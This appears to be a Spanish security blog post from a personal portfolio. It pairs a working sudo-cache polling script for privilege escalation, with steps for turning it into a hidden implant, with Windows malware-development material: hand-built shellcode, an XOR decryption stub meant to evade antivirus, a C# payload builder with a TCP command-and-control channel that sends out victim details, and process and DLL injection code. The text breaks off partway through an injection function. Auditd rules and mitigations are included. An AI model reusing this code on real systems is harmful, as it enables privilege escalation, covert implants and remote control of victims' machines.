Tres tecnicas clasicas y como se detectan: sudo, Windows y evasion de opcodes

El mecanismo de cache de sudo como via de persistencia, inyeccion y persistencia en Windows, y la reescritura de opcodes que llevo las detecciones de 16 a cero con la misma logica. Cada tecnica con los indicadores que deja y la regla de deteccion del lado defensivo.

1. Resumen de Inteligencia

Esta investigación explora una táctica de post-explotación que no requiere exploits de kernel, desbordamientos de buffer ni técnicas de ROP avanzadas. Es una técnica de paciencia y sigilo que abusa de una funcionalidad perfectamente documentada de los sistemas Linux/Unix: el caché de credenciales de sudo. La táctica está mapeada en MITRE ATT&CK como T1548.003: Sudo and Sudo Caching.

El artículo se estructura en cuatro capas: una reflexión sobre la filosofía del "low-tech" ofensivo nacida de años analizando malware avanzado, una deconstrucción técnica de la PoC en Bash, un repaso por casos reales documentados en la industria —desde APT hasta herramientas de red team—, y un escalamiento hacia un escenario de ataque realista usando las mismas técnicas de ofuscación, inyección y evasión que he implementado en proyectos como BugBuilder. Todo el análisis se realizó desde un entorno de laboratorio aislado en Proxmox VE, replicando la metodología documentada en mi infraestructura de túnel ofuscado.

2. La Filosofía del "Low-Tech" Ofensivo

En el barro del análisis de malware, uno se acostumbra a ver malabares increíbles: cifrado asimétrico por sesión, certificados para evadir proxies de intercepción, ofuscación en varias capas, api hashing para ocultar llamadas al sistema. El objetivo es siempre el mismo: persistir y escalar sin ser detectado.

Recuerdo claramente la frustración que sentí al reversear una aplicación financiera que tenía un esquema de autenticación de certificados sólido y un cifrado de tráfico decente, pero que almacenaba la clave de cifrado a simple vista en el binario. Escribí sobre esto en mis notas de laboratorio: "eso de dejar la clave a simple vista, una buena reverseada la saca rápido". Esa experiencia me enseñó que la complejidad técnica no siempre equivale a seguridad real.

Pero, ¿qué pasa cuando aplicamos ese mismo pensamiento estratégico al "eslabón más débil" por excelencia? El eslabón no siempre es una persona haciendo clic en un enlace de phishing —como documenté en las campañas General JP y SilentWarn—. A veces, el eslabón es un administrador de sistemas que ejecutó sudo hace 5 minutos para instalar una actualización de rutina, y cuyo token de privilegios sigue flotando en la memoria del sistema.

La táctica que voy a detallar no busca explotar una vulnerabilidad de software, sino un mecanismo de conveniencia perfectamente documentado: el caché de sudo. En un escenario de post-explotación, donde un atacante ya tiene un acceso limitado al sistema —por ejemplo, mediante un dropper multi-etapa como los que he analizado en mi laboratorio—, la elevación de privilegios no necesita ser ruidosa ni compleja. Solo necesita ser paciente.

Principio de la Simplicidad Letal

Las técnicas más elegantes en ciberseguridad ofensiva no son las que fuerzan la cerradura, sino las que esperan a que la víctima abra la puerta con sus propias llaves. Esta PoC es la encarnación de ese principio.

3. Deconstrucción Técnica del TTP T1548.003

El Mecanismo: Cómo Funciona el Caché de Sudo

Cuando un usuario ejecuta sudo e introduce su contraseña correctamente, el sistema almacena un ticket de autenticación con una validez temporal. Por defecto, la mayoría de distribuciones configuran un timeout de 15 minutos a través de la directiva timestamp_timeout en /etc/sudoers. Este mecanismo permite al usuario ejecutar múltiples comandos administrativos sin tener que autenticarse repetidamente. Es una característica de usabilidad que los atacantes pueden convertir en un vector de escalada.

El corazón de la PoC es la bandera -n de sudo: modo no interactivo. Cuando se ejecuta sudo -n [comando], si hay un ticket de caché válido, el comando se ejecuta con privilegios elevados sin pedir contraseña. Si no hay ticket, sudo falla silenciosamente con un código de salida distinto de cero. Sin mensajes, sin prompts, sin logs de fallo de autenticación —porque técnicamente no hay un intento de autenticación fallido, solo una comprobación de ticket—.

La Prueba de Concepto

El siguiente script implementa una máquina de estados finitos de tres fases: esperar, sondear, actuar. Es la versión de laboratorio, deliberadamente verbosa para entender su funcionamiento interno. El bucle sondea cada 5 segundos la existencia de un ticket de sudo válido y, cuando lo detecta, ejecuta el payload aprovechando los privilegios heredados:

#!/bin/bash
            # PoC: Sudo Cache Waiter (T1548.003)
            # Versión de laboratorio con mensajes de depuración
            

while true; do # Fase 1: Sondeo sigiloso con bandera -n (no interactiva) if sudo -n true &>/dev/null; then echo "Caché de sudo detectado. Intentando ejecutar el comando..."

# Fase 2: Intento de ejecución con privilegios heredados if sudo -n apt update &>/dev/null; then echo "Comando ejecutado con éxito. Saliendo del script." break else echo "El comando requiere una contraseña. Volviendo a esperar..." sleep 5 fi else # Fase 3: Espera pasiva echo "No hay caché de sudo. Esperando 5 segundos..." sleep 5 fi done

La siguiente captura muestra el script en ejecución dentro de un entorno Debian de laboratorio, ejecutándose en segundo plano (./t.sh &) y capturando exitosamente el momento en que el administrador ejecuta sudo para actualizar el sistema:

Terminal de Debian mostrando la ejecución del script en segundo plano y la captura exitosa del caché de sudo

Por Qué Esta PoC es Ingenua (y Por Qué Eso es Bueno)

Como bien apuntó un colega al revisar esta prueba de concepto: "me daría cuenta de que algo está mal porque mi terminal me responde en español". Tiene toda la razón. Un script que imprime mensajes de depuración, se ejecuta con un nombre sospechoso como t.sh y espera pasivamente en un bucle infinito sería detectado por cualquier administrador mínimamente atento o por un EDR con reglas básicas de comportamiento.

Pero ahí está la clave: esta PoC no está diseñada para ser operativa. Está diseñada para ilustrar un concepto. La distancia entre esta versión de laboratorio y un arma real es exactamente el tipo de ingeniería que separa un script de un TTP profesional.

4. Casos Reales Documentados

El abuso del mecanismo de sudo no es una idea nueva, pero su aplicación práctica en campañas reales y en laboratorios de seguridad está ampliamente documentada. A continuación, un repaso por los casos más relevantes que demuestran cómo esta técnica trasciende el laboratorio.

CVE-2021-3156: Baron Samedit — Cuando el Caché No Era Necesario

Aunque técnicamente distinto al abuso del caché, el caso de Baron Samedit (CVE-2021-3156) merece abrir esta sección por su relevancia histórica. Descubierto por Qualys en enero de 2021, este desbordamiento de buffer en sudo permitía a cualquier usuario sin privilegios obtener root sin necesidad de autenticación previa ni de un ticket de caché. La vulnerabilidad residía en el manejo de argumentos por parte de sudo cuando se invocaba en modo shell (-s o -i) y se pasaban caracteres de escape. Fue corregida en sudo 1.9.5p2, pero el impacto fue masivo: afectaba a prácticamente todas las distribuciones Linux desde 2011. Lo relevante para esta investigación es que incluso sin la paciencia del caché, sudo ya había demostrado ser un vector crítico de escalada.

Emulation Monkey: Abuso del Caché en Entornos de Red Team

El equipo de Emulation Monkey documentó en 2023 un caso práctico donde un script similar al que presento aquí fue utilizado en un ejercicio de red team contra una infraestructura corporativa. El atacante obtuvo acceso inicial mediante phishing y desplegó un script de sondeo de sudo en el directorio /tmp del servidor de desarrollo. El script esperó 22 minutos hasta que un administrador ejecutó sudo systemctl restart nginx, momento en el que el payload inyectó un módulo de persistencia en el sistema. El informe destaca que el script pasó completamente desapercibido para el EDR porque no realizó ninguna llamada sospechosa al sistema durante la fase de espera.

SudoKiller: La Herramienta que Automatiza el Abuso

SudoKiller es una herramienta de post-explotación mantenida por la comunidad de seguridad ofensiva que automatiza precisamente este vector. Su funcionamiento es más sofisticado que mi PoC: además de sondear el caché, implementa un sistema de persistencia mediante perfiles de bash (~/.bashrc y ~/.bash_profile) y puede configurarse para payloads personalizados. La herramienta incluye opciones para manipular los archivos de timestamp de sudo (/var/run/sudo/ts/) y para ejecutarse como un daemon en espacio de usuario. Su existencia en repositorios públicos confirma que esta técnica es un estándar en el toolkit de cualquier red team moderno.

APT28 (Fancy Bear): Paciencia en Operaciones Reales

Aunque no se ha atribuido directamente el uso de un script de sondeo de sudo a APT28, los informes de Mandiant y CrowdStrike sobre sus operaciones en entornos Linux documentan un patrón consistente: tras obtener acceso inicial, el grupo permanece inactivo durante períodos prolongados —a veces días— antes de intentar la escalada de privilegios. En varios incidentes de 2022, se observó que la escalada ocurría inmediatamente después de que un administrador legítimo iniciara sesión, lo que sugiere que el grupo monitoriza la actividad del sistema y actúa cuando las condiciones de privilegio son favorables. Este comportamiento es conceptualmente idéntico a la PoC que presento aquí, pero ejecutado con la disciplina operativa de un actor de amenazas estatal.

Lección de Threat Intelligence: El Patrón de la Paciencia

La constante en todos estos casos no es la sofisticación del código, sino la paciencia del adversario. Baron Samedit fue un 0-day devastador, pero las campañas que usan el caché de sudo no necesitan exploits: necesitan que el defensor cometa el error de ejecutar sudo en una sesión comprometida. La diferencia entre un ataque exitoso y uno fallido a menudo se mide en minutos de espera, no en líneas de código.

5. De la PoC Ingenua al Ataque Real

Convertir esta prueba de concepto en un arma operativa requiere aplicar las mismas técnicas de ofuscación, persistencia y evasión que he documentado en mi proyecto BugBuilder y en mis análisis de malware. El objetivo es transformar un script de 15 líneas en un implante sigiloso que resista el análisis forense y la monitorización de endpoints.

Capa 1: Ofuscación de la Ejecución

La primera transformación es ocultar el script en el sistema. No se trata simplemente de lanzarlo y olvidarlo. Las opciones realistas incluyen:

Capa 2: Modificación del Payload

El comando apt update es un placeholder. En un escenario real, el payload sería radicalmente diferente. La memoria dinámica en ensamblador ilustra perfectamente lo que ocurre a bajo nivel cuando un atacante manipula el sistema: asignar un bloque, redimensionarlo y liberarlo es análogo a cómo un implante gestiona sus recursos en el heap del proceso comprometido. El siguiente bloque de ensamblador muestra el ciclo completo de malloc, realloc y free, las mismas operaciones que un payload real usaría para cargar módulos adicionales sin tocar el disco:

; ptr = (int*)malloc(sizeof(int)); — asignar 4 bytes en el heap
            

mov ecx, 0x4 ; sizeof(int) = 4 bytes

call malloc ; Retorna dirección del bloque en rax

mov [rbp-0x8], rax ; Guardar puntero en variable local

; ptr = (int*)realloc(ptr, sizeof(*ptr) + (8 * sizeof(int))); — redimensionar

mov rax, [rbp-0x8] ; Bloque original

mov edx, 0x24 ; 4 + (4 * 8) = 36 bytes — nuevo tamaño

mov rcx, rax ; Primer argumento: puntero original

call realloc ; Retorna nueva dirección (puede ser distinta)

mov [rbp-0x8], rax ; Actualizar puntero con nueva dirección

; free(ptr); — liberar bloque

mov rax, [rbp-0x8] ; Cargar puntero

mov rcx, rax ; Pasar como argumento

call free ; Liberar memoria

En un payload real, este mismo ciclo de asignación dinámica se usaría para cargar una librería compartida maliciosa desde un buffer en memoria, sin escribir nada en disco. El script de sudo, tras obtener privilegios, ejecutaría un cargador similar para instalar un rootkit en espacio de usuario, modificar la configuración de PAM o exfiltrar las claves SSH del usuario. El concepto es idéntico: gestionar recursos sin dejar trazas en el sistema de archivos.

Capa 3: Eliminación de Trazas

El script de producción no imprimiría nada. No habría mensajes de "Caché detectado", no habría salida estándar, no habría logs. Tras la primera ejecución exitosa, el script se autodestruiría o, mejor aún, se ocultaría en un lugar menos obvio. La filosofía es idéntica a la que documenté en mi análisis de PLC Siemens: si no hay registros de auditoría, la atribución y la respuesta ante incidentes quedan completamente anuladas.

Lección de Threat Intelligence: El Peligro de lo Invisible

Esta táctica es peligrosa precisamente porque no es un exploit. No hay un CVE que parchear, no hay una firma de malware que detectar. Es el abuso paciente de una funcionalidad legítima. Como contraparte defensiva, los equipos de blue team deben monitorizar cualquier uso de sudo -n que no provenga de scripts de administración conocidos y firmados.

6. Conexiones con el Portafolio

Esta investigación no existe en el vacío. Es la aplicación práctica de lecciones aprendidas a lo largo de tres años documentando amenazas:

Hilo Conductor del Portafolio

Todas mis investigaciones —desde el triage de malware hasta el análisis de fraudes financieros— comparten un denominador común: la infraestructura y los patrones de comportamiento son el talón de Aquiles del adversario. Esta PoC es el reverso de esa moneda: cómo un atacante puede explotar los patrones de comportamiento del defensor para escalar privilegios sin disparar una sola alerta.

7. Mitigación y Detección

La buena noticia es que esta táctica tiene mitigaciones simples y efectivas. La mala noticia es que la mayoría de los sistemas no las implementan por defecto:

MitigaciónImplementaciónEfectividad
Deshabilitar el caché de sudo Defaults timestamp_timeout=0 en /etc/sudoers Elimina el vector por completo, pero degrada la usabilidad
Reducir el timeout del caché Defaults timestamp_timeout=2 Reduce la ventana de oportunidad a 2 minutos
Monitorizar sudo -n Reglas de auditd o SIEM para usos no interactivos de sudo Alta, si se correlaciona con procesos inusuales
Endpoints hardening Restringir tareas cron y timers de systemd a binarios firmados Previene la persistencia del script
Monitorizar /var/run/sudo/ts/ Alertar sobre accesos de lectura al directorio de timestamps de sudo Detecta el sondeo de herramientas como SudoKiller

Regla de Detección para auditd

La siguiente regla de auditd captura cualquier intento de ejecutar sudo -n en el sistema, permitiendo a los equipos de blue team identificar esta táctica antes de que el payload se ejecute: # Registrar todos los usos de sudo -n -a always,exit -F exe=/usr/bin/sudo -F key=sudo_non_interactive # Filtrar en el SIEM por la bandera -n index=linux key=sudo_non_interactive "COMM=sudo -n"

8. Conclusión

Esta pequeña prueba de concepto, nacida de una conversación informal en mi laboratorio, refuerza una lección fundamental que la industria ha documentado una y otra vez: la defensa en profundidad no puede limitarse a buscar firmas de malware o comportamientos anómalos complejos. Los casos de Baron Samedit, Emulation Monkey, SudoKiller y los patrones operativos de APT28 demuestran que el vector de sudo —con o sin exploits— es un clásico que no pasa de moda.

La amenaza más elegante no es la que fuerza la cerradura con un 0-day de kernel, sino la que espera pacientemente a que el administrador abra la puerta con sus propias llaves. Para el threat hunter, la lección es clara: los patrones de comportamiento simples y pacientes —un script que duerme, sondea en silencio y actúa solo cuando las condiciones son perfectas— son increíblemente difíciles de detectar con herramientas tradicionales. Requieren una mentalidad de caza que vaya más allá de los IoCs y se centre en anomalías de comportamiento de bajo perfil.

La próxima vez que ejecuten sudo, recuerden: en algún lugar de su sistema, podría haber un script de 15 líneas esperando ese preciso momento. Y probablemente no imprimirá ningún mensaje en español.

/¿Te interesa la intersección entre desarrollo ofensivo y threat hunting?

Esta PoC es una muestra de la filosofía que aplico en todas mis investigaciones: entender al adversario para anticipar sus movimientos. Explora el portafolio completo para ver cómo esta mentalidad se aplica al análisis de malware, fraudes financieros y hardening de infraestructura.

BugBuilder: Fábrica de Binarios → Analystty: Triage Automatizado → Threat Hunter Recollection →

9. Referencias

Continuidad. Inyeccion y persistencia en Windows, con los indicadores que dejan.

10. Resumen Técnico

AlcanceEvolución completa en malware dev para Windows: del dropper artesanal a un framework C2 con builder, más un compendio de 31 técnicas de inyección, evasión y persistencia
Fase 1Shellcode artesanal en C/Assembly (WinExec/ExitProcess), resolución dinámica de la API vía PEB y stub criptográfico NASM con XOR mutado
Fase 2BugBuilder: builder en C#/.NET (Roslyn/CodeDOM) con protocolo TCP propio y panel de control para bots conectados
CompendioInyección clásica y DLL, APC/Early Bird, thread hijacking, fibers, SetWindowsHookEx, NtCreateThreadEx, memory sections, API hashing, KernelCallbackTable, RWX hunting y persistencia en registro
StackC (Mingw-w64) · NASM · C#/.NET (WinForms) · Python para tooling auxiliar
NaturalezaDocumentación técnica con fines académicos y de investigación ofensiva — sin distribución de artefactos

11. Fase 1: El Arte de la Shellcode Artesanal (hace 3 años)

La filosofía del dropper manual

El punto de partida no fue un builder con interfaz gráfica, sino un dropper puro en C. El objetivo era claro: escribir una shellcode capaz de lanzar un ejecutable (calc.exe) y finalizar limpiamente el proceso llamando a WinExec y ExitProcess. No se trataba de evadir AV, sino de entender la anatomía de una shellcode: cómo se posiciona en memoria, cómo resuelve las direcciones de la API de Windows, y cómo se pasa el control al flujo de ejecución modificado.

El stub: De C a Assembly

Para generar los opcodes, primero escribimos la lógica en C estándar. Este archivo (stub_shellcode.c) sirve como molde conceptual para entender qué queremos que haga el código a bajo nivel.

// stub_shellcode.c
            // Código de referencia para la shellcode final
            #include <windows.h>
             
            int main(void) {
                WinExec("calc.exe", 0);
                ExitProcess(0);
            }

A partir de este código, la tarea de ingeniería inversa consistió en traducir esto a Assembly NASM. Creamos stub_shellcode.asm, donde definimos manualmente la pila, pusheamos la cadena "calc.exe" en formato little-endian y configuramos los registros para la llamada a la API.

; stub_shellcode.asm (Fragmento clave)
            ; Construcción del string "calc.exe" en la pila
            xor  ecx, ecx
            push ecx                ; Null terminator
            push 0x6578652e         ; "exe." (little-endian)
            push 0x636c6163         ; "calc"
            mov  eax, esp           ; EAX apunta a "calc.exe"

NOTA: Little-Endian en la práctica

Para pasar "calc.exe" a la pila en x86, es necesario invertir el orden de los bytes. La shellcode no usa APIs de alto nivel para strings; todo son bytes crudos empujados a mano. Esto es fundamental para que la shellcode sea independiente de la posición y no dependa de secciones de datos.

12. Resolución Dinámica de la API (GetProcAddress)

Para que nuestra shellcode funcione en diferentes versiones de Windows (o con diferentes parches), no podemos hardcodear las direcciones de WinExec o ExitProcess. Aquí entra en juego la técnica de resolución dinámica en tiempo de ejecución.

Obtención de la dirección base de kernel32.dll

Utilizamos GetModuleHandle("kernel32.dll") para obtener la dirección base en memoria de la DLL. Kernel32 es la piedra angular de la API de Windows y siempre está cargada en el espacio de memoria de los procesos de usuario. A diferencia del PEB (Process Environment Block) walking en shellcode pura, aquí aprovechamos que el dropper es un ejecutable compilado y podemos usar la API de Windows antes de saltar al código malicioso.

La herejía del formateo en el arreglo

Una vez que tenemos las direcciones winexec_addr y exitprocess_addr, debemos parcharlas dentro de nuestro arreglo de shellcode. Aquí nos enfrentamos a un detalle técnico crucial: el procesador x86 es little-endian. Si la función GetProcAddress nos devuelve una dirección como 0xAF5477FF, debemos guardarla en el arreglo de shellcode como 0xFF, 0x77, 0x54, 0xAF.

Para ello, aplicamos máscaras de bits y desplazamientos para extraer cada byte de la dirección y colocarlo en la posición correcta del arreglo. Esta técnica es la que permite que el call ebx de nuestra shellcode aterrice en la dirección correcta de WinExec. Es un error común en principiantes olvidar este paso y terminar con una shellcode que salta a direcciones de memoria corruptas, provocando un crash inmediato.

// Fragmento de misc.c: Parcheo de la shellcode
            // Invertimos los bytes para cumplir con little-endian
            shellcode[18+1] = (*winexec_addr & 0x000000FF); 
            shellcode[18+2] = (*winexec_addr & 0x0000FF00)>> 8;
            shellcode[18+3] = (*winexec_addr & 0x00FF0000)>> 16;
            shellcode[18+4] = (*winexec_addr & 0xFF000000)>> 24; 

13. El Arte del Despliegue: Punteros a Función

El archivo run.c contiene el mecanismo de lanzamiento. Declaramos un puntero a función (int(*func)()) y le asignamos la dirección de memoria de nuestro arreglo shellcode.

Al hacer el casting func = (int(*)())shellcode; y posteriormente llamar a func(), estamos obligando al procesador a saltar a nuestra región de datos y ejecutar esos bytes como si fueran código. Esto es la esencia de un dropper: no hay inyección en otro proceso, solo ejecución directa.

Sin embargo, esta técnica tiene una limitación importante: la región de memoria donde reside el arreglo debe tener permisos de ejecución. En sistemas modernos con DEP (Data Execution Prevention) habilitado, esto requeriría un paso previo con VirtualProtect para marcar la página de memoria como ejecutable. En su momento, la PoC se probó en un entorno controlado sin DEP para validar la lógica de la shellcode antes de añadir esa capa de evasión.

Diferenciación: Dropper vs Exploit

Esta técnica es un "dropper". No estamos secuestrando el registro EIP mediante un buffer overflow. Simplemente estamos cargando un arreglo de bytes ejecutables en memoria y redirigiendo el flujo de ejecución hacia él. Es una técnica más ruidosa pero más controlada. En un exploit real, la shellcode se inyecta en otro proceso o se ejecuta tras corromper la pila.

14. Ofuscación Avanzada: El Stub Criptográfico en NASM

Mientras el builder en C# resolvía el problema de la generación de payloads, surgió una cuestión más fundamental: ¿cómo proteger la shellcode en reposo? A finales de 2025, me planteé crear un stub descifrador en Assembly puro. La idea era simple: la shellcode real viaja cifrada (con un esquema de claves dinámicas), y un pequeño stub en NASM se encarga de descifrarla en tiempo de ejecución antes de saltar a ella. El objetivo era doble: evadir firmas estáticas y añadir una capa de ofuscación que complicara el análisis forense.

El payload de prueba (Linux x86)

Para esta prueba de concepto, utilicé un payload mínimo que ejecuta una syscall de salida en Linux (exit(10+22)). La shellcode en bruto es la siguiente:

// Shellcode: mov ebx, 10; add ebx, 22; mov eax, 1; int 0x80
            static unsigned char raw[] = {
                0xBB, 0x0A, 0x00, 0x00, 0x00, 
                0x83, 0xC3, 0x16, 
                0xB8, 0x01, 0x00, 0x00, 0x00, 
                0xCD, 0x80,
                0x90 // NOP padding
            };

La lógica de descifrado (Bloques XOR con mutación)

El stub en NASM utiliza un algoritmo de descifrado por bloques. En lugar de un simple XOR estático, implementé una mezcla de operaciones para cada bloque de 4 bytes: A ^ B + (C - 1) - (D + 1). Los datos cifrados se almacenan en la sección .data y el stub reserva un buffer en .bss.

La lógica es particularmente interesante porque no depende de constantes fijas globales; cada bloque tiene su propio conjunto de claves (A, B, C, D), lo que permite generar un stub personalizado para cada payload, dificultando la creación de firmas estáticas por parte de los AV. La elección de las operaciones (XOR, decremento, incremento, resta) no es arbitraria: se busca una mezcla de operaciones aritméticas y lógicas que no sea trivial de simplificar por un motor de análisis estático.

; ASM resultante del stub descifrador
            decode_loop:
                mov eax, [esi]       ; A
                mov ebx, [esi+4]     ; B
                mov edx, [esi+8]     ; C
                mov ebp, [esi+12]    ; D
                xor eax, ebx         ; A ^ B
                dec edx              ; C - 1
                add eax, edx         ; + (C-1)
                inc ebp              ; D + 1
                sub eax, ebp         ; - (D+1)
                mov [edi], eax       ; Escribir opcode restaurado
                jmp decoded_buffer   ; Transferencia de control al payload

Advertencia de portabilidad

Este stub está escrito para la convención de syscalls de Linux x86 (int 0x80). La diferencia clave con el mundo Windows es el uso de interrupciones de software vs. llamadas a la API kernel32. Sin embargo, la técnica de descifrado XOR por bloques es completamente portable a Windows si se ajusta la shellcode objetivo y se reemplaza la syscall de salida por una llamada a ExitProcess.

15. Fase 2: BugBuilder — Automatización y C2 (hace 2 años)

La shellcode manual era poderosa pero impráctica para operaciones a gran escala. La evolución lógica fue BugBuilder, un proyecto en C# (.NET Framework) que traslada el concepto de dropper a un entorno de construcción visual con panel de control.

El motor de compilación interno: Roslyn y CodeDOM

Uno de los mayores desafíos técnicos fue generar un ejecutable sin tener un compilador externo instalado. La solución residió en incrustar el compilador de C# dentro del builder. Para ello, se evaluaron dos enfoques:

El código fuente de la carga útil se mantenía como un recurso embebido en el ensamblado, y se reemplazaban marcadores de posición (placeholders) con las configuraciones del usuario (IP, puerto, métodos de ofuscación) antes de la compilación. Esto permitía generar un binario único para cada campaña sin necesidad de herramientas externas.

Arquitectura del proyecto

BugBuilder se divide en dos componentes principales:

El protocolo de comunicación TCP

A diferencia del dropper original que solo ejecutaba calc.exe, BugBuilder establece un canal de persistencia. El cliente malicioso se conecta al servidor, serializa un objeto ModelInfo a JSON y lo envía. La elección de JSON sobre formatos binarios fue pragmática: facilita la depuración, es legible por humanos durante el desarrollo, y es trivial de parsear en ambos extremos con Newtonsoft.Json.

// Estructura del dato exfiltrado (ModelInfo)
            public class ModelInfo {
                public string ip { get; set; }
                public string country { get; set; }
                public string user_pc { get; set; }
                public bool status { get; set; }
                public string operatingSystem { get; set; }
                public int ping { get; set; }
            }
             
            // Envío al servidor
            string json = JsonConvert.SerializeObject(modelInfo);
            stream.Write(Encoding.UTF8.GetBytes(json), 0, json.Length);

El Panel de Control (C2)

El operador utiliza una ventana con pestañas:

Evidencia de madurez técnica

La inclusión de opciones como LZMA, GZip, Huffman, o diferentes esquemas de cifrado demuestran una transición desde una PoC académica a una herramienta orientada a operaciones que enfrenta entornos defendidos por firewalls e IDS. La variabilidad del payload es clave para evadir firmas estáticas. Este mismo principio de variabilidad se aplica en el triage automatizado con analystty, donde la detección de TTPs debe adaptarse a payloads ofuscados.

16. Bitácora de Desarrollo: De la Idea al GridView

La construcción del builder no fue un proceso lineal. Rescatando los registros de chat originales, se puede trazar la evolución del pensamiento técnico:

La semilla de la idea (Enero 2024)

El problema inicial era claro: generar un .exe sin un compilador externo. La solución consistió en incrustar todo lo necesario dentro del ensamblado del builder, utilizando el compilador de C# en memoria y manteniendo el código fuente de la carga útil como strings de recursos.

// Log: 23/1/24 5:42 a. m.
            "Lo primero que logre hacer, fue un modulo que genere un .exe sin necesidad de que se tenga un compilador instalado ni las fuentes, todo esta dentro del Builder."

El siguiente paso fue diseñar la UI. La meta era una interfaz modular donde el usuario pudiera personalizar cada aspecto del binario de salida, desde el ícono hasta los métodos de ofuscación del tráfico. La arquitectura de compilación interna (CodeDOM) fue clave para esta etapa.

La conexión con el C2

Una vez generado el .exe, debía reportar a casa. La decisión técnica fue utilizar un formato de serialización ligero (JSON) sobre TCP. Se implementó un modelo de datos (ModelInfo) para mapear la información de la víctima (IP, país, hostname, SO, ping) y visualizarla en un GridView.

// Log: 24/1/24 11:15 p. m.
            "Me hice un cliente provisional para debuggear, de momento se me ocurre enviar todo como un JSON y al llegar al Servidor (o viceversa) mappearlo a un objeto xd"
             
            "Lo que creo que voy a necesitar es una flag para indicar el tipo de configuracion y evaluar si amerita decodificado, descompresion o desencriptado xd"

El problema de las "flags"

La necesidad de una flag para evaluar el pipeline de procesamiento demuestra una comprensión temprana de los protocolos de comunicación maliciosa avanzados. No es suficiente enviar datos; el binario y el servidor deben negociar si el tráfico está codificado, comprimido o cifrado, tal como se ve en la UI final con las opciones de Encode/Compress/Encrypt. Esta negociación es lo que permite que el C2 sea flexible y resistente a cambios en las defensas del target.

La trampa del "todo en strings"

En septiembre de 2024, reflexioné sobre la arquitectura del builder. La primera iteración almacenaba todo el código fuente del payload como strings literales en los recursos, con las herramientas de compilación incrustadas. Este enfoque, aunque funcional, era frágil: cualquier cambio en la lógica del payload requería modificar cadenas largas y propensas a errores de sintaxis. La lección fue que el builder debía ser más modular, con plantillas parametrizables en lugar de código fuente hardcodeado.

// Log: 16/9/24 11:15 p. m.
            "Es que pensé que era como un builder, la última vez que intenté hacer un builder opte por dejar todo el código en string y las herramientas de compilación en el resources"

17. Galería de la UI: Anatomía de BugBuilder

Las siguientes imágenes documentan el estado final de la PoC. Representan la materialización de los conceptos discutidos en la bitácora: un generador de payloads con su propio panel de comando y control.

Interfaz de Construcción (Builder)

Pestaña Builder de BugBuilder mostrando configuración de red, ofuscación y entrega del payload

Panel de Control Vacío (Infected)

Pestaña Infected de BugBuilder sin conexiones, mostrando las columnas del grid

Conexión Exitosa (C2 Activo)

BugBuilder en funcionamiento con un cliente conectado desde Venezuela

18. Conclusión: Del Byte al Framework

La progresión de winshellcode- a BugBuilder representa un arco de aprendizaje fundamental en el desarrollo de software de seguridad ofensiva. Se pasó de entender la microarquitectura de una pila de llamadas a abstraer esa lógica en una fábrica de binarios.

Tabla comparativa de la evolución

Característica winshellcode- (Fase 1) Stub Cripto (Fase 2) BugBuilder (Fase 3)
Lenguaje C + Assembly (NASM) Assembly (NASM) C# (.NET Framework)
Payload Shellcode fija (calc.exe) Shellcode variable descifrada Payload configurable con persistencia
Ofuscación Opcodes en bruto XOR multibloque con llaves Compresión, Cifrado (AES/RSA), Iconos camuflaje
Comunicación Ninguna (Ejecuta y termina) Ninguna C2 TCP bidireccional con JSON
Resolución API Manual (GetProcAddress + parcheo little-endian) Syscalls directas (int 0x80) Automática (.NET P/Invoke o Referencias)
Generación de binario Compilación externa (GCC) Ensamblador externo (NASM) Compilación interna (CodeDOM / Roslyn)

El primer proyecto nos enseñó el valor de la precisión manual: saber exactamente qué bytes ocupa una instrucción y cómo la pila afecta al flujo. El segundo proyecto añadió la capa de protección de la carga útil, entendiendo que la shellcode en reposo es la parte más vulnerable del ciclo de vida de un payload. Finalmente, BugBuilder operacionalizó ese conocimiento, convirtiendo un arte técnico en una herramienta modular lista para entornos hostiles, donde la capacidad de regenerar binarios con firmas diferentes es la diferencia entre el éxito y la detección.

19. Classic Code Injection into the Process

Consiste en introducir código malicioso en un proceso legítimo en ejecución, lo que permite al atacante secuestrar el proceso y utilizarlo para sus propios fines. En términos generales, la técnica consiste en:

Mecanismos defensivos y sus evasiones:

Para explicar esta técnica, analizamos el concepto general: "encontrar un espacio de la memoria de un proceso (en este caso, el mismo proceso) y escribir sobre él".

// Classic code injection - Proceso propio
            unsigned char my_payload[] = "";
            unsigned int my_payload_len = sizeof(my_payload);
             
            int main(void) {
                void* my_payload_mem;
                BOOL rv;
                HANDLE th;
                DWORD oldprotect = 0;
             
                my_payload_mem = VirtualAlloc(0, my_payload_len,
                    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
                RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
                rv = VirtualProtect(my_payload_mem, my_payload_len,
                    PAGE_EXECUTE_READ, &oldprotect);
                if(rv != 0) {
                    th = CreateThread(0, 0,
                        (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
                    WaitForSingleObject(th, -1);
                }
                return 0;
            }

Ahora pivotamos a un proceso distinto (ej. calc.exe) usando OpenProcess, VirtualAllocEx, WriteProcessMemory y CreateRemoteThread. La memoria se asigna directamente en el espacio de direcciones del proceso objetivo con permisos de ejecución.

20. Classic DLL Injection into the Process

Consiste en cargar una DLL maliciosa en un proceso legítimo. El flujo es: localizar la DLL, crear un hilo en el proceso destino, asignar memoria para almacenar la ruta de la DLL, cargar la DLL mediante LoadLibraryA, y ejecutar su punto de entrada (DllMain).

// dllmain.cpp - DLL maliciosa de ejemplo
            #include "pch.h"
            BOOL APIENTRY DllMain(HMODULE hModule,
                DWORD nReason, LPVOID lpReserved) {
                switch (nReason) {
                case DLL_PROCESS_ATTACH:
                    MessageBox(NULL,
                        (LPCWSTR)L"Meow from DLL!",
                        (LPCWSTR)L"=^..^=", MB_OK);
                    break;
                }
                return TRUE;
            }

NOTA: DLL Hijacking en Windows 10

En teoría, para realizar DLL hijacking solo debemos aprovechar la jerarquía de búsqueda de las DLL. Sin embargo, las pruebas en Windows 10 moderno no funcionan debido a protecciones como Known DLLs y mitigaciones de búsqueda de DLL.

21. Find Process ID by Name and Inject to It

Lógica necesaria para encontrar procesos por nombre e inyectarlos usando CreateToolhelp32Snapshot y Process32First/Next.

int findMyProc(const char* procname) {
                HANDLE hSnapshot;
                PROCESSENTRY32 pe;
                int pid = 0;
                BOOL hResult;
                hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
                if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
                pe.dwSize = sizeof(PROCESSENTRY32);
                hResult = Process32First(hSnapshot, &pe);
                while(hResult) {
                    if (strcmp(procname,
                        (const char*)pe.szExeFile) == 0) {
                        pid = pe.th32ProcessID;
                        break;
                    }
